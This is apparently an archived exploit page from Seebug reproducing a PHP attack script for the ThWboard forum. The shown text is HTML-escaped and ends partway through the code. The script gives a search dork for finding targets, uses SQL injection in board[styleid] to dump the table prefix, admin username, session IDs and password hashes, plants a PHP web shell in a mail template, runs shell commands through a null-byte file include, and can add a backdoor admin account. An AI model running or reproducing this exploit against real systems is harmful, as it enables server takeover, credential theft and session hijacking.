Lucene search
K

ThWboard <= 3.0b2.84-php5 SQL Injection / Code Execution Exploit

🗓️ 15 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

ThWboard<=3.0b2.84-php5 SQL Injection / Code Executio

Code

                                                &lt;?php
print_r('
-----------------------------------------------------------------------------
ThWboard&nbsp;&lt;=3.0&nbsp;beta&nbsp;2.84-php5&nbsp;board[styleid]&nbsp;sql&nbsp;injection&nbsp;/&nbsp;cmd&nbsp;exec&nbsp;exploit
by&nbsp;rgod
dork:&nbsp;&quot;powered&nbsp;by&nbsp;ThWboard&quot;
version&nbsp;specific:
&quot;powered&nbsp;by&nbsp;ThWboard&nbsp;3&nbsp;Beta&nbsp;2.84-php5&quot;&nbsp;&quot;by&nbsp;*&nbsp;Baecher&nbsp;&amp;&nbsp;*&nbsp;Gonschorek&quot;
mail:&nbsp;retrog&nbsp;at&nbsp;alice&nbsp;dot&nbsp;it
site:&nbsp;http://retrogod.altervista.org
-----------------------------------------------------------------------------
');

if&nbsp;($argc&lt;5)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;print_r('
-----------------------------------------------------------------------------
Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host&nbsp;path&nbsp;action&nbsp;argument&nbsp;[options]
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path&nbsp;to&nbsp;ThWboard
action:&nbsp;&nbsp;&nbsp;&nbsp;[1]&nbsp;launch&nbsp;commands
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[2]&nbsp;disclose&nbsp;md5&nbsp;hash&nbsp;of&nbsp;a&nbsp;certain&nbsp;user
argument:&nbsp;&nbsp;a&nbsp;shell&nbsp;comand&nbsp;for&nbsp;action&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;username&nbsp;for&nbsp;action&nbsp;2
Options:
&nbsp;-a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;additionally&nbsp;add&nbsp;a&nbsp;new&nbsp;admin&nbsp;user&nbsp;when&nbsp;action&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;is&nbsp;performed
&nbsp;-p[port]:&nbsp;&nbsp;&nbsp;&nbsp;specify&nbsp;a&nbsp;port&nbsp;other&nbsp;than&nbsp;80
&nbsp;-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy
Examples:
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/ThWboard/&nbsp;1&nbsp;ls&nbsp;-la&nbsp;-P1.1.1.1:80
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/ThWboard/&nbsp;1&nbsp;cat&nbsp;./inc/config.inc.php&nbsp;-P1.1.1.1:80
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/&nbsp;2&nbsp;admin&nbsp;-p81
-----------------------------------------------------------------------------
');
&nbsp;&nbsp;&nbsp;&nbsp;die;
}

error_reporting(&quot;E_ALL&quot;);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}
$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function&nbsp;sendpacketii($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$action=(int)$argv[3];
if&nbsp;(($action&lt;&gt;1)&nbsp;and&nbsp;($action&lt;&gt;2)){die(&quot;wrong&nbsp;action...&quot;);}
$port=80;
$proxy=&quot;&quot;;
$argu=&quot;&quot;;
$admin_add=0;
for&nbsp;($i=4;&nbsp;$i&lt;$argc;&nbsp;$i++){
$temp=$argv[$i][0].$argv[$i][1];
if&nbsp;(($temp&lt;&gt;&quot;-p&quot;)&nbsp;and&nbsp;($temp&lt;&gt;&quot;-P&quot;)&nbsp;and&nbsp;($temp&lt;&gt;&quot;-a&quot;))&nbsp;{$argu.=&quot;&nbsp;&quot;.$argv[$i];}
if&nbsp;($temp==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
&nbsp;&nbsp;$tmp=explode(&quot;:&quot;,$proxy);
&nbsp;&nbsp;$your_ip=$tmp[0];
}
if&nbsp;($action==1){
&nbsp;&nbsp;&nbsp;if&nbsp;($temp==&quot;-a&quot;){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$admin_add=1;
&nbsp;&nbsp;&nbsp;}
}
}
if&nbsp;(($path[0]&lt;&gt;'/')&nbsp;or&nbsp;($path[strlen($path)-1]&lt;&gt;'/'))&nbsp;{echo&nbsp;'Error...&nbsp;check&nbsp;the&nbsp;path!';&nbsp;die;}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}

function&nbsp;my_encode($my_string)
{
&nbsp;&nbsp;$encoded=&quot;CHAR(&quot;;
&nbsp;&nbsp;for&nbsp;($k=0;&nbsp;$k&lt;=strlen($my_string)-1;&nbsp;$k++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$encoded.=ord($my_string[$k]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($k==strlen($my_string)-1)&nbsp;{$encoded.=&quot;)&quot;;}
&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{$encoded.=&quot;,&quot;;}
&nbsp;&nbsp;}
&nbsp;&nbsp;return&nbsp;$encoded;
}
/*
download&nbsp;link:&nbsp;http://www.thwboard.de/downloads.php

explaination:
sql&nbsp;injection&nbsp;in&nbsp;/inc/header.inc.php&nbsp;near&nbsp;lines&nbsp;535-560&nbsp;($board[styleid]&nbsp;var):

...
if(empty($board['styleid']))
{
&nbsp;&nbsp;if(isset($g_user['styleid']))
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$board['styleid']&nbsp;=&nbsp;$g_user['styleid'];
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$board['styleid']&nbsp;=&nbsp;STYLE_DEFAULT;
&nbsp;&nbsp;&nbsp;&nbsp;}
}

if(&nbsp;$board['styleid']&nbsp;==&nbsp;STYLE_DEFAULT&nbsp;)
{
	$r_style&nbsp;=&nbsp;thwb_query(&quot;SELECT&nbsp;styleid,&nbsp;styletemplate,&nbsp;colorbg,&nbsp;color1,&nbsp;CellA,&nbsp;CellB,&nbsp;color4,&nbsp;colorbgfont,&nbsp;col_he_fo_font,&nbsp;color_err,
		col_link,&nbsp;col_link_v,&nbsp;col_link_hover,&nbsp;stdfont,
		boardimage,&nbsp;newtopicimage,&nbsp;border_col&nbsp;FROM
		&quot;.$pref.&quot;style&nbsp;WHERE&nbsp;styleisdefault=1&quot;);
}
else
{
	$r_style&nbsp;=&nbsp;thwb_query(&quot;SELECT&nbsp;styleid,&nbsp;styletemplate,&nbsp;colorbg,&nbsp;color1,&nbsp;CellA,&nbsp;CellB,&nbsp;color4,&nbsp;colorbgfont,&nbsp;col_he_fo_font,&nbsp;color_err,
		col_link,&nbsp;col_link_v,&nbsp;col_link_hover,&nbsp;stdfont,
		boardimage,&nbsp;newtopicimage,&nbsp;border_col&nbsp;FROM
		&quot;.$pref.&quot;style&nbsp;WHERE&nbsp;styleid=$board[styleid]&quot;);
}
...

(&nbsp;we&nbsp;have&nbsp;this&nbsp;code&nbsp;also&nbsp;in&nbsp;/inc/header.inc.php&nbsp;near&nbsp;lines&nbsp;74-83:

...
if(&nbsp;!empty($_REQUEST)&nbsp;)
	extract($_REQUEST,&nbsp;EXTR_SKIP);

if(&nbsp;get_magic_quotes_gpc()&nbsp;)
{
	$HTTP_GET_VARS&nbsp;=&nbsp;r_stripslashes($HTTP_GET_VARS);
	$HTTP_POST_VARS&nbsp;=&nbsp;r_stripslashes($HTTP_POST_VARS);
	$HTTP_COOKIE_VARS&nbsp;=&nbsp;r_stripslashes($HTTP_COOKIE_VARS);
	$GLOBALS&nbsp;=&nbsp;r_stripslashes($GLOBALS);
}
...

so,&nbsp;this&nbsp;works&nbsp;regardless&nbsp;of&nbsp;php.ini&nbsp;settings
the&nbsp;extract()&nbsp;one&nbsp;turn&nbsp;register_globals&nbsp;=on&nbsp;on&nbsp;undefinied&nbsp;vars
the&nbsp;second&nbsp;one&nbsp;turn&nbsp;magic_quotes&nbsp;off
)

also&nbsp;the&nbsp;styletemplate&nbsp;value&nbsp;of&nbsp;returned&nbsp;array&nbsp;is&nbsp;used&nbsp;to&nbsp;include&nbsp;files&nbsp;locally
near&nbsp;lines&nbsp;648-651:

...
if(&nbsp;file_exists('./templates/'&nbsp;.&nbsp;$style['styletemplate']&nbsp;.&nbsp;'/dynamic.inc.php')&nbsp;)
{
	@include('./templates/'&nbsp;.&nbsp;$style['styletemplate']&nbsp;.&nbsp;'/dynamic.inc.php');
}
...

so&nbsp;this&nbsp;can&nbsp;used&nbsp;to&nbsp;execute&nbsp;command&nbsp;even&nbsp;if&nbsp;the&nbsp;supplied&nbsp;value&nbsp;is&nbsp;like
'../templates/mail/newreply.mail[null&nbsp;char]'

and&nbsp;if&nbsp;you&nbsp;insert&nbsp;some&nbsp;code&nbsp;in&nbsp;newreply.mail&nbsp;file&nbsp;as&nbsp;admin

query&nbsp;errors&nbsp;and&nbsp;failed&nbsp;includes&nbsp;are&nbsp;showned&nbsp;at&nbsp;screen&nbsp;so&nbsp;you&nbsp;can&nbsp;have&nbsp;the&nbsp;table&nbsp;prefix
and&nbsp;you&nbsp;can&nbsp;extract&nbsp;hashes&nbsp;and&nbsp;session&nbsp;ids&nbsp;from&nbsp;the&nbsp;database:

...
&lt;pre&gt;&lt;b&gt;ThWboard&nbsp;Error&lt;/b&gt;&lt;br&gt;MySQL:&nbsp;Errore&nbsp;di&nbsp;sintassi&nbsp;nella&nbsp;query&nbsp;SQL&nbsp;vicino
&nbsp;'mphhhh.../*'&nbsp;linea&nbsp;4
Query:&nbsp;SELECT&nbsp;styleid,&nbsp;styletemplate,&nbsp;colorbg,&nbsp;color1,&nbsp;CellA,&nbsp;CellB,&nbsp;color4,&nbsp;co
orbgfont,&nbsp;col_he_fo_font,&nbsp;color_err,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col_link,&nbsp;col_link_v,&nbsp;col_link_hover,&nbsp;stdfont,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;boardimage,&nbsp;newtopicimage,&nbsp;border_col&nbsp;FROM
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tb_style&nbsp;WHERE&nbsp;styleid=[your&nbsp;input]]&lt;/pre&gt;
...
&lt;pre&gt;Template&nbsp;error:
&nbsp;unable&nbsp;to&nbsp;load&nbsp;template&nbsp;file:&nbsp;'templates/[your&nbsp;input]/frame.html'&nbsp;does&nbsp;not&nbsp;exist.&lt;/pre&gt;
...

finally&nbsp;you&nbsp;do&nbsp;not&nbsp;need&nbsp;to&nbsp;decrypt&nbsp;md5&nbsp;hashes,&nbsp;you&nbsp;can&nbsp;perform&nbsp;some&nbsp;action&nbsp;as&nbsp;admin
by&nbsp;stealing&nbsp;the&nbsp;session&nbsp;id&nbsp;stored&nbsp;in&nbsp;the&nbsp;database,&nbsp;this&nbsp;one&nbsp;has&nbsp;ten&nbsp;minutes&nbsp;life
and&nbsp;is&nbsp;renewed&nbsp;every&nbsp;time&nbsp;an&nbsp;&quot;admin&nbsp;action&quot;&nbsp;is&nbsp;performed&nbsp;by&nbsp;the&nbsp;legitimate
admin&nbsp;user&nbsp;or&nbsp;by&nbsp;the&nbsp;attacker,&nbsp;also&nbsp;is&nbsp;not&nbsp;deleted&nbsp;after&nbsp;he&nbsp;does&nbsp;logout

this&nbsp;exploit&nbsp;tries&nbsp;to&nbsp;launch&nbsp;commands&nbsp;during&nbsp;the&nbsp;admin&nbsp;session&nbsp;id&nbsp;lifetime,
if&nbsp;succeeded&nbsp;you&nbsp;can&nbsp;additionally&nbsp;add&nbsp;a&nbsp;new&nbsp;admin&nbsp;with&nbsp;username&nbsp;'suntzu'&nbsp;and&nbsp;password&nbsp;'suntzu'
(action&nbsp;1)&nbsp;otherwise&nbsp;you&nbsp;can&nbsp;perform&nbsp;action&nbsp;2&nbsp;to&nbsp;disclose&nbsp;the&nbsp;hash&nbsp;of&nbsp;a&nbsp;certain&nbsp;user
which&nbsp;is&nbsp;used&nbsp;inside&nbsp;cookies&nbsp;to&nbsp;authenticate&nbsp;him&nbsp;to&nbsp;the&nbsp;board&nbsp;(but&nbsp;not&nbsp;to&nbsp;the&nbsp;admin&nbsp;section,&nbsp;if&nbsp;the
hash&nbsp;is&nbsp;the&nbsp;admin&nbsp;user&nbsp;one)
*/

//disclose&nbsp;table&nbsp;prefix...
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;999999/**/mphhhh.../*\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(!eregi(&quot;&lt;pre&gt;&lt;b&gt;ThWboard&nbsp;Error&lt;/b&gt;&lt;br&gt;&quot;,$html)){die(&quot;not&nbsp;vulnerable...&quot;);}
$temp=explode(&quot;border_col&nbsp;FROM\n&quot;,$html);
$temp2=explode(&quot;style&nbsp;WHERE&quot;,$temp[1]);
$prefix=trim($temp2[0]);
echo&nbsp;&quot;table&nbsp;prefix&nbsp;-&gt;&nbsp;&quot;.$prefix.&quot;\n&quot;;
if&nbsp;($action&nbsp;==1){

//disclose&nbsp;admin&nbsp;username...
$SQL=&quot;9999999/**/UNION/**/SELECT/**/null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/&quot;.$prefix.&quot;user/**/WHERE/**/userisadmin=1/*&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;$SQL\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(eregi(&quot;&lt;pre&gt;&lt;b&gt;ThWboard&nbsp;Error&lt;/b&gt;&lt;br&gt;&quot;,$html)){echo&nbsp;$html;&nbsp;die(&quot;\n\nquery&nbsp;error...&nbsp;see&nbsp;html&quot;);}
$temp=explode(&quot;templates/&quot;,$html);
$temp2=explode(&quot;/&quot;,$temp[1]);
$admin=$temp2[0];
echo&nbsp;&quot;admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&quot;.$admin.&quot;\n&quot;;
if&nbsp;($admin==&quot;&quot;){echo&nbsp;$html;&nbsp;die(&quot;\nerror...see&nbsp;html\n&quot;);}
//if&nbsp;already&nbsp;executed&nbsp;and&nbsp;new&nbsp;admin&nbsp;added,&nbsp;use&nbsp;the&nbsp;suntzu&nbsp;user&nbsp;session&nbsp;id
$SQL=&quot;9999999/**/UNION/**/SELECT/**/null,sessionid,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/&quot;.$prefix.&quot;session/**/WHERE/**/username=&quot;.my_encode(&quot;suntzu&quot;).&quot;/*&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;$SQL\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&quot;templates/&quot;,$html);
$temp2=explode(&quot;/&quot;,$temp[1]);
$sess_id=$temp2[0];
if&nbsp;($sess_id&lt;&gt;&quot;&quot;){
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;session&nbsp;id&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&quot;.$sess_id.&quot;\n&quot;;
}
else
{
//disclose&nbsp;session&nbsp;id...
$SQL=&quot;9999999/**/UNION/**/SELECT/**/null,sessionid,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/&quot;.$prefix.&quot;session/**/WHERE/**/username=&quot;.my_encode(trim($admin)).&quot;/*&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;$SQL\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&quot;templates/&quot;,$html);
$temp2=explode(&quot;/&quot;,$temp[1]);
$sess_id=$temp2[0];
echo&nbsp;&quot;session&nbsp;id&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&quot;.$sess_id.&quot;\n&quot;;
}
if&nbsp;($sess_id==&quot;&quot;){echo&nbsp;$html;&nbsp;die(&quot;\nerror...see&nbsp;html\n&quot;);}
//inject&nbsp;shell...
$shell=&quot;&lt;?php&nbsp;error_reporting(0);set_time_limit(0);echo&nbsp;\&quot;my_delim\&quot;;passthru(\$_SERVER[HTTP_SUNTZU]);echo&nbsp;\&quot;my_delim\&quot;;&quot;;
if&nbsp;($admin_add){$shell.=&quot;mysql_query(\&quot;INSERT&nbsp;INTO&nbsp;&quot;.$prefix.&quot;user(userid,username,userpassword,userisadmin,groupids,usernodelete)&nbsp;VALUES&nbsp;('999999','suntzu','&quot;.md5(&quot;suntzu&quot;).&quot;',1,',3,','1')\&quot;);&quot;;}
$shell.=&quot;die;?&gt;&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;session\&quot;;\r\n\r\n&quot;;
$data.=&quot;$sess_id\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;action\&quot;;\r\n\r\n&quot;;
$data.=&quot;save_newreply\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;new_newreply\&quot;;\r\n\r\n&quot;;
$data.=&quot;$shell\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;admin/mails.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
echo&nbsp;&quot;editing&nbsp;newreply.mail&nbsp;file...\n&quot;;
if&nbsp;(eregi(&quot;&lt;form&nbsp;name=\&quot;login\&quot;&nbsp;method=\&quot;post\&quot;&nbsp;action=\&quot;index.php\&quot;&gt;&quot;,$html))
{die(&quot;ten&nbsp;minutes&nbsp;after&nbsp;the&nbsp;last&nbsp;admin&nbsp;action...&nbsp;time&nbsp;exceeded...&quot;);}
else
{echo&nbsp;&quot;succeeded...\n&quot;;
}

//launch&nbsp;commands...
$SQL=&quot;9999999/**/UNION/**/SELECT/**/null,&quot;.my_encode(&quot;../templates/mail/newreply.mail\x00&quot;).&quot;,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/&quot;.$prefix.&quot;user/**/WHERE/**/userisadmin=1/*&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;$SQL\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;SUNTZU:&nbsp;&quot;.$argu.&quot;\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(eregi(&quot;my_delim&quot;,$html)){
&nbsp;&nbsp;&nbsp;&nbsp;$temp=explode(&quot;my_delim&quot;,$html);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$temp[1];
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($add_admin)&nbsp;{echo&nbsp;&quot;admin&nbsp;user&nbsp;added&nbsp;with&nbsp;username&nbsp;'suntzu'&nbsp;and&nbsp;password&nbsp;'suntzu'...&quot;;}
}else&nbsp;{echo&nbsp;&quot;exploit&nbsp;failed...&quot;;}
}
elseif&nbsp;($action==2)
{

function&nbsp;is_hash($hash)
{
&nbsp;if&nbsp;(ereg(&quot;([a-f0-9]{32})&quot;,trim($hash)))&nbsp;{return&nbsp;true;}
&nbsp;else&nbsp;{return&nbsp;false;}
}

$SQL=&quot;9999999/**/UNION/**/SELECT/**/null,userpassword,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/&quot;.$prefix.&quot;user/**/WHERE/**/username=&quot;.my_encode(trim($argu)).&quot;/*&quot;;
$data&nbsp;=&quot;-----------------------------7d61bcd1f033e\r\n&quot;;
$data.=&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;board[styleid]\&quot;;\r\n\r\n&quot;;
$data.=&quot;$SQL\r\n&quot;;
$data.=&quot;-----------------------------7d61bcd1f033e--\r\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;index.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;SUNTZU:&nbsp;&quot;.$argu.&quot;\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
